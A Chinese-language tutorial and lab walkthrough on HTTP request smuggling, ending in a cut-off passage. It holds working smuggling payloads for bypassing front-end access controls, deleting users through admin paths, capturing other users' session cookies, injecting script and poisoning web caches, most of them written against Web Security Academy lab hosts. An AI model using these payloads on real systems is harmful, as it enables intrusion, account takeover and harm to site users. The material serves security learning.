资讯详情

学好此文,国家赠送金手铐和职业套装,数年管吃管住-HTTP请求夹带(HTTP request smuggling)

因为爱而分享技术。但不要痴迷于技术,因为理想更大! 如果你同意,请加入我们,凝聚技术人员的力量,真正影响世界! 请注意,在没有明确授权的情况下,不要在互联网上尝试这种攻击,否则是违法的!

如果标题提示,如果你看不懂这篇文章,三连支持没有问题。如果你能掌握, 。在以在靶场练习。这种方法太有害了,一般网站都扛不住。即使我在练习靶场,我也瘫痪了好几次。

一、基础知识

1. 产生背景

将是当前端服务器HTTP当请求转发到后端服务器时,它通常通过相同的后端网络连接发送多个请求,协议非常简单:一个接一个地发送HTTP请求,接收服务器分析HTTP确定一个请求在哪里结束,下一个请求在哪里开始:

在这种情况下,前端和后端系统就请求之间的边界达成一致是非常重要的。否则,攻击者可能会发送不明确的请求,导致前端系统和后端系统对请求的解释不同:

2. 什么是HTTP请求夹带

又名HTTP请求走私是一种干扰网站处理从用户那里接收HTTP要求序列的技术。该技术允许攻击者绕过安全控制,导致未经授权访问敏感数据,并直接伤害应用程序用户。 攻击者的一些前端请求被后端服务器解释为下一个请求的开始。事实上,它优先于下一个正常请求,因此它会干扰应用程序处理正常请求的方式。通常会造成毁灭性的后果。

3. 漏洞产生原因

  • 标准数据包结束的标头标志
    • Content-Length

报头的内容长度非常简单:以字节为单位指定消息体的长度。

报文长度经常出现问题,建议使用Burp插件HTTP Request Smuggler自动处理。 最方便的方法是完全粘贴报纸Sublime Text文本编辑器如果末尾有空行,别忘了补充。选择时可以直接查看字符数。

换行用0d0a,2个字节表示 换行分别用0a和0d,1个字节表示

POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 13  q=smuggling 
  • Transfer-Encoding

用于指定数据包文本的块编码。这意味着新闻文本包含一个或多个数据块。每个块由字节单位的块大小(表示为16进制)、跟踪行符和下一个块内容组成。该消息以零大小块终止。

长度表示与CL请注意购买括号中的文字。

POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked  b             (16进制6,代表每一块chunck长11位) q=smuggling    (字符串11字节长,不要加2哈CL不同)、 0               (遇0 chunck结束) 
  • 如果两个标头同时存在于一个数据包中

HTTP规范:如果同时存在Content-Length和Transfer-Ending应忽略标头Content-Length为了防止这个问题,标头。

后端服务器的实际情况如下: 
  • 有些服务器不支持请求Transfer-Ending标头。
  • 如果传输编码标头以某种方式混淆,一些支持传输编码标头的服务器可能无法处理。

如果前端服务器和后端服务器在传输和后端服务器的处理方法不同,则连续请求之间的边界存在差异,导致请求走私漏洞。

二、漏洞原理分析

要求走私攻击涉及将军Content-length标头和Transfer-Encoding同一个标头HTTP为了以不同的方式处理前端服务器和后端服务器。具体的实现方式取决于两个服务器的行为: CL.TE:使用前端服务器Content-length,使用后端服务器Transfer-Encoding头部。 TE.CL:使用前端服务器Transfer-Encodin使用头部和后端服务器Content-length头部。 TE.TE:支持前端和后端服务器Transfer-Encodin报头可以通过混淆报头来诱导其中一个服务器不处理它。

1. CL.TE利用

front-end: Contnt-Length back-end: Transfer-Encoding

POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 13 Transfer-Encoding: chunked  0    (3字节)       (2字节) SMUGGLED   (8字节,最后2个空字节不加) 

前端服务器处理Contnt-Length,长度为13 涵盖了所有bady数据(空行4字节) 后端服务器处理Transfer-Encoding,处理第一块时,该块声明为零长,因此被视为终止请求。SMUGGLED,后端服务器将遗留字节作为下一个请求的开始

SMUGGLEDPOST / HTTP/1.1 Host: vulnerable-website.com ... 

例题 1

2. TE.CL利用

front-end: Transfer-Encoding back-end: Contnt-Length

POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 3  (CT声明报文正文长度) Transfer-Encoding: chunked  8    (声明第一块8字节长) SMUGGLED (第一块内容) 0   (第二块声明长度为0)         (\r\n空行)         (\r\n空行) 

注意点:

  1. Burp软件中 “Update Content-Length” ,请关闭。
  2. 在0后要输入\r\n\r\n burp这意味着0后加两个空行

前端服务器处理TE因此,标头将报文正文视为分块编码。它处理第一个数据块,声明为8字节长,内容为SMUGGLED是的。第二块被声明为0长,因此被视为终止请求。该请求被转发到后端服务器。 后端服务器处理Content-Long报头确定请求文本为3字节长(文本内容为8\r\n\r\n共占3字节)。后面的字节SMUGGLED\r\n\r\n0\r\n\r\n后端服务器将这些字节视为下一个请求的开始。

例题2

3. 混淆TE报头(TE.TE漏洞)

front-end、back-end都支持Transfer-Encoding,但以某种方式影响其中一种,使其不处理Transfer-Encoding

Transfer-Encoding: xchunked  Transfer-Encoding : chunked  Tranfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

在实际系统中,很少绝对精确地遵守网络规范,系统通常会容忍与规范不同的变化。要发现TE.TE漏洞。

需要找到Transfer-Ending标头的某些变体,造成只有一台前端或后端服务器处理它,而另一台服务器忽略它。

例题 3

三、 如何识别HTTP夹带漏洞

1. 利用事件延迟技术

要首先验证CL.TE,排除后再验证TE.CL,否则产生其他影响。

1.利用时间延迟发现CL.TE漏洞

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4                          13
(引起事件延迟的代码)                         (漏洞利用的代码)
1                                          0
A                                          
X                                          SMUGGLED

前端服务器使用Content-Length报头,只转发此请求的一部分,省略X。后端服务器使用Transfer-Ending报头,处理第一个块,然后等待下一个块到达。这将导致明显的时间延迟。

2. 利用时间延迟发现TE.CL漏洞

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0   

X

前端服务器使用Transfer-Encoding标头,因此它将只转发此请求的一部分,省略X。后端服务器使用Content-Length标头,等待其余内容到达。这将导致明显的时间延迟。

2. 利用不同响应确认

当疑似有请求走私漏洞时,可以通过利用该漏洞来触发应用程序响应的内容差异,从而获得该漏洞的进一步证据。这包括快速连续地向应用程序发送两个请求:

  • 特定攻击包,干扰下一个请求正常处理(根据CL.TE\TE.CL选用不同)
  • 正常请求
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

1. CL.TE

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

如果攻击成功,则后端服务器会将该请求的最后两行视为属于收到的下一个请求。这将导致后续的“正常”请求如下所示:

 GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

由于此请求现在包含无效的URL,因此服务器将使用状态代码404进行响应,表名干扰成功,漏洞存在

例题4

2. TE.CL

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

如果攻击成功,则从GET/404开始的所有内容都会被后端服务器视为属于收到的下一个请求。这将导致后续的“正常”请求如下所示:

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

例题5

三、漏洞利用

1. 利用请求走私绕过前端安全控制

在某些应用程序中,前端Web服务器用于实现一些安全控制,通过验证的单个请求被转发到后端服务器,未通过的被过滤掉。 假设应用程序使用前端服务器来实现访问控制限制,只有在授权用户访问所请求的URL时才转发请求。而后端服务器接受每个请求,无需进一步检查。在这种情况下,可以使用HTTP请求走私漏洞绕过访问控制。

假设允许当前用户访问/home,但不允许访问/admin。他们可以使用以下请求走私攻击绕过此限制:

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

例题 6、7

2. 前端服务器对请求包的修改

许多应用程序中,前端服务器在请求转发到后端服务器之前执行一些重写,通常是通过添加额外的请求头。例如:

  • 终止TLS连接并添加一些描述协议和密码的报头;
  • 添加包含用户IP地址的X-Forwarded-For报头;
  • 根据用户的会话令牌确定用户的ID,并添加标识用户的报头;
  • 添加一些敏感信息。

如果走私请求缺少这些临时添加的头部,则后端服务器不会以正常方式处理请求,从而导致走私请求无法达到预期效果。

获得经修改的请求,需要执行以下步骤:

  • 查找满足要求的POST请求:请求参数值要反映到应用程序响应中。
  • 调整参数,使该参数出现在报文BODY的最后。
  • 通过请求走私,发送到后端服务器,成功时经前端修改的普通请求会出现在响应中。
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net

响应中包括: <input id="email" value="wiener@normal-user.net" type="text">

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100   (注意这个长度,你不知道有多长,慢慢增加,直到获得所需信息)

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

例题8

3. 绕过客户端授权

作为TLS握手的一部分,服务器提供证书给客户端(通常是浏览器)来验证自身。该证书包含它们的“通用名称”(CN),它应该与它们注册的主机名匹配。然后,客户端可以使用这一点来验证它们是否正在与合法服务器对话。有些站点更进一步,实现了一种相互的TLS身份验证形式。 客户端还必须向服务器提供证书。在这种情况下,客户端的CN通常是用户名等,例如,可以作为访问控制机制的一部分在后端应用程序逻辑中使用。

GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

由于这些标头对用户完全隐藏,因此受到后端服务器的默认信任。假设能够发送正确的头和值组合,就能够绕过访问控制。 在实践中,因为前端服务器往往会覆盖这些标头。但是通过请求走私,包含的任何标头都将原封不动地发送到后端。

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator     (此处即为攻击荷载)
Foo: x

4. 捕获其他用户的请求

这个利用点与上述“2. 前端服务器对请求包的修改”非常类似

如果应用程序允许存储和检索文本数据的相关功能,则可以使用HTTP请求走私来捕获其他用户请求的内容。这些攻击可能包括会话令牌、启用会话劫持攻击或用户提交的其他敏感数据。适合用作此攻击工具的功能包括评论、电子邮件、配置文件描述等。 要执行攻击,需要走私一个向存储函数提交数据的请求,其中请求数据的参数位于请求的最后。后端服务器处理的下一个请求将被附加到走私的请求中。

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

得到的结果如下:

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
... 

一个限制是,通常只捕获数据,直到适用于走私请求的参数分隔符&。对于URL编码的表单提交,这意味着从受害用户的请求存储的内容将在第一个&结束,或可能出现在查询字符串中。 导致获取数据不全,遇到&会自动判定截止。

例题9

5. 请求走私利用反射性XSS

如果应用程序存在HTTP请求走私的攻击漏洞,并且还包含反射的XSS,则可以使用请求走私攻击来攻击该应用程序的其他用户。这种方法在两个方面优于正常利用反射的XSS:

  • 不需要与受害者用户交互。不需提供URL,等待他们访问。只需走私一个包含XSS有效负载的请求,由后端服务器处理的下一个用户请求将被击中。
  • 可以利用请求的某些部分中的XSS行为,这些部分在正常的反射XSS攻击中无法控制,例如HTTP请求头。 (扩大了XSS可以利用点)
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

例题10

6. 使用HTTP请求走私将现场重定向转换为开放重定向

许多应用程序执行一个URL到另一个URL的现场重定向,并将请求的主机标头中的主机名放入重定向URL。这方面的一个示例是Apache和IIS Web服务器的默认行为,在这种情况下,对不带尾随斜杠的文件夹的请求会收到到相同文件夹的重定向,附带尾随斜杠:

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

如上所示可以构造请求走私攻击荷载

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

造成的结果是

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

用户的请求的页面要导入的JavaScript文件。攻击者可以通过在响应中返回他们自己的JavaScript来完全危害受攻击用户。

7. 利用HTTP请求走私来执行Web缓存中毒

这是利用6的攻击的一种危害更大的变种

利用HTTP请求走私来执行Web缓存中毒攻击。如果前端基础架构的任何部分执行内容缓存(通常出于性能原因),则可能会使用异地重定向响应来毒化缓存。这将使攻击持续存在,从而影响随后请求受影响URL的任何用户。

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com

走私的请求到达后端服务器,后端服务器像以前一样使用异地重定向进行响应。前端服务器会将第二个URL缓存的有毒缓存进行响应,该URL为/Static/includde.js:

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

例题11

8. 利用HTTP请求走私进行Web缓存欺骗

可以利用HTTP请求走私来执行Web缓存欺骗。这与Web缓存中毒攻击的工作方式类似,但目的不同。 这个技巧在实际中不太还是用,下面会说明原因

  • 中,攻击者使应用程序在缓存中存储一些恶意内容,这些内容从缓存提供给其他应用程序用户
  • 中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

下一个用户的请求包被追加到后面。走私数据包与受害用户的正常请求合并在了一起

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

后端服务器以正常方式响应此请求。请求中的URL用于用户的私人消息,并且该请求在受害用户会话的上下文中进行处理。前端服务器根据它认为是第二个请求中的URL的URL缓存此响应,该URL为/static/some-image.png

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

攻击者访问静态URL,得到缓存返回的敏感内容。

注意:攻击者不知道缓存敏感内容的URL,因为这是受害者用户在走私请求生效时碰巧请求的URL。攻击者可能需要获取大量静态URL才能发现 。

例题12

四、漏洞实例

1. 基本CL.TE漏洞(HTTP request smuggling, basic CL.TE vulnerability)

使后端服务器,接收到方法为GPOST的数据包 前端服务器仅接受GET``POST方法,不支持chunked encoding

    1. 原始数据包
GET / HTTP/1.1
Host: ac401f031e85701bc0fca468001f00c6.web-security-academy.net
Cookie: session=odOxTPDSOPiYAj9SNXvvGCA4Trv1KohD
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

  1. 根据题目条件改造为请求走私攻击数据包,注意保留的表头和值
POST / HTTP/1.1
Host: ac401f031e85701bc0fca468001f00c6.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Transfer-Encoding: chunked

0

G

发送两次数据包,看到响应

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 27

"Unrecognized method GPOST"

2. 基本TE.CL漏洞 (HTTP request smuggling, basic TE.CL vulnerability)

使后端服务器,接收到方法为GPOST的数据包 前端服务器仅接受GET``POST方法, 后端服务器不支持chunked encoding

    1. 首页原始数据包
GET / HTTP/1.1
Host: ac5f1f701e5f65e4c02531bf006e00e9.web-security-academy.net
Cookie: session=5vbjnInq85UmYPpM2yxkgEva0s2XOSNw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

  1. 根据题目条件改造为请求走私攻击数据包,注意保留的表头和值
POST / HTTP/1.1
Host: ac5f1f701e5f65e4c02531bf006e00e9.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=2
0


tips:

  1. 为什么要是5c(16进驻,转换为10进制为92) 因为后面从G到x=2末尾看HEX一共是92个字节。

![92.png](https://img-blog.csdnimg.cn/img_convert/acc27280938ce23ea522209c563499c9.png#clientId=u804b3a18-aea9-4&crop=0&crop=0&crop=1&crop=1&from=ui&id=uf122f171&margin=[object Object]&name=92.png&originHeight=268&originWidth=651&originalType=binary&ratio=1&rotation=0&showTitle=false&size=40874&status=done&style=none&taskId=ucb58d0e4-2bed-4642-b6c2-b8607bfae8b&title=)

  1. 后一个CL为什么是15,因为从x到最后是15位

![15.png](https://img-blog.csdnimg.cn/img_convert/cbcca233bd50cc4f1217e9422f70c64e.png#clientId=u804b3a18-aea9-4&crop=0&crop=0&crop=1&crop=1&from=ui&id=u9d7ac890&margin=[object Object]&name=15.png&originHeight=220&originWidth=726&originalType=binary&ratio=1&rotation=0&showTitle=false&size=33046&status=done&style=none&taskId=u469ecb36-68fd-455f-bfca-238e8dcb3b3&title=)

3. 混淆TE报头(HTTP request smuggling, obfuscating the TE header)

使后端服务器,接收到方法为GPOST的数据包 前端服务器仅接受GET``POST方法,

    1. 根据题目信息构造双TE
POST / HTTP/1.1
Host: ac861f6c1f784f10c05d835f00d700bd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4                 (正文长度2~4均可,5c此行长度为2)
Transfer-Encoding: chunked
Transfer-Encoding: x             (此行经测试只要不是正常chunked均可行)

5c                                 (16进制为92字节,代表后续chunked块大小为92,见附图1)
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15                  (正文长度为10~20均可,x=1 0最少含一个末尾空行的总长度 ) 

x=1
0
                                     (注意这是第一个空行)
                                     (注意这是第二个空行)

![92.png](https://img-blog.csdnimg.cn/img_convert/d9f7db91357bd86ffb8eb4d9f653c805.png#clientId=u66d7ad26-6a82-4&crop=0&crop=0&crop=1&crop=1&from=drop&id=ua049e1a2&margin=[object Object]&name=92.png&originHeight=294&originWidth=1132&originalType=binary&ratio=1&rotation=0&showTitle=false&size=86188&status=done&style=none&taskId=uc49cbb28-9307-4cd8-9445-16d7c366299&title=)

4. 通过差异响应确认CL.TE漏洞(HTTP request smuggling, confirming a CL.TE vulnerability via differential responses)

使后端服务器,接收到路径为/404响应 前端服务器不支持chunck

POST / HTTP/1.1
Host: aced1ff61fbf8835c0db363e00c7009b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

5. 通过差异响应确认TE.CL漏洞(HTTP request smuggling, confirming a TE.CL vulnerability via differential responses)

使后端服务器,接收到路径为/404响应 后端服务器不支持chunck

POST / HTTP/1.1
Host: ac351f0c1e55b187c00d21ab007c000f.web-security-academy.net
Cookie: session=pdyE4sezAIBOprQKtMYpdJVAhJUbL0ET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

6. 用HTTP请求走私绕过前端安全控制,CL.TE漏洞(Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability)

绕过前端服务器限制,访问/admin 删除用户carlos 前端服务器不支持chunck

    1. 这道题开始有点意思了。根据题目提示CL.TE构造常用攻击包
POST / HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
Cookie: session=zSdetSDn7J8Rb43Bri2hveNDpSS2yY1o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Transfer-Encoding: chunked

0


GET /admin HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net



  1. 连续点击发送两回,发现响应包中提示

Admin interface only available to local users

  1. 调整Host值为localhost,即可访问/admin页面
POST / HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
Cookie: session=zSdetSDn7J8Rb43Bri2hveNDpSS2yY1o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Transfer-Encoding: chunked

0


GET /admin HTTP/1.1
Host: localhost



  1. 页面点击删除carlos按钮,获取链接。会发现别的方式均不成功。

尝试修改攻击包,在body中直接使用删除carlos的连接,一步到位。成功

POST / HTTP/1.1
Host: ac8e1f991fc92dbbc0771c3f00c70055.web-security-academy.net
Cookie: session=zSdetSDn7J8Rb43Bri2hveNDpSS2yY1o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Transfer-Encoding: chunked

0


GET /admin/delete?username=carlos HTTP/1.1
Host: localhost



7. 利用HTTP请求走私绕过前端安全控制TE.CL漏洞(Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability)

绕过前端服务器限制,访问/admin 删除用户carlos 后端服务器不支持chunck

与上题思路完全一致,仅是TE.CL的区别,直接上攻击包

POST / HTTP/1.1
Host: ac9e1f7b1f44d111c0dd6491005d00c1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

6c
POST /admin HTTP/1.1
host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

0

 

获取删除连接后,直接更换URL

POST / HTTP/1.1
Host: ac9e1f7b1f44d111c0dd6491005d00c1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4            (3也可以)
Transfer-Encoding: chunked
 
87    (这个长度,可以采用前文介绍的使用sublime text方式,快速准确)
GET /admin/delete?username=carlos HTTP/1.1
host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10       (随意了10-15 只要能包括整个body就行)

x=1
0

8. 利用HTTP请求走私揭示前端请求重写(Exploiting HTTP request smuggling to reveal front-end request rewriting)

绕过前端服务器限制,访问/admin(允许127.0.0.1访问) 删除用户carlos 前端服务器会重写请求包。增加传递的IP地址

该靶场整个思路比较完整

  1. 寻找合适的post数据包(参数能在响应中会显出来),search即可
POST / HTTP/1.1
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124                  (该值利用Burp自动更新即可)
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close

search=test
<section class=blog-header>
  <h1>0 search results for 'testPOST / HTTP/1.1
    X-FwmRJA-Ip: 120.245.96.65
    Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 124
    Transfer-'</h1>
  <hr>
</section>
发现特殊报头`X-FwmRJA-Ip: 120.245.96.65`
  1. 增加特殊报头,IP为127.0.0.1
POST / HTTP/1.1
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Transfer-Encoding: chunked

0

POST /admin HTTP/1.1
X-FwmRJA-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1
  1. 直接访问删除路径
POST / HTTP/1.1
Host: ac6d1fdd1fd602f0c01e2a23003a0082.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
X-FwmRJA-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

9. 利用HTTP请求走私来捕获其他用户的请求 (Exploiting HTTP request smuggling to capture other users’ requests)

窃取其他用户数据包,使用得到的cookies,登陆其账户 前端服务器不支持chunked encoding

    1. 寻找类似留言的功能区,拦截数据包,修改位置,是否能正常触发留言,验证无问题
    2. 构造请求走私攻击包
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=your-session-token

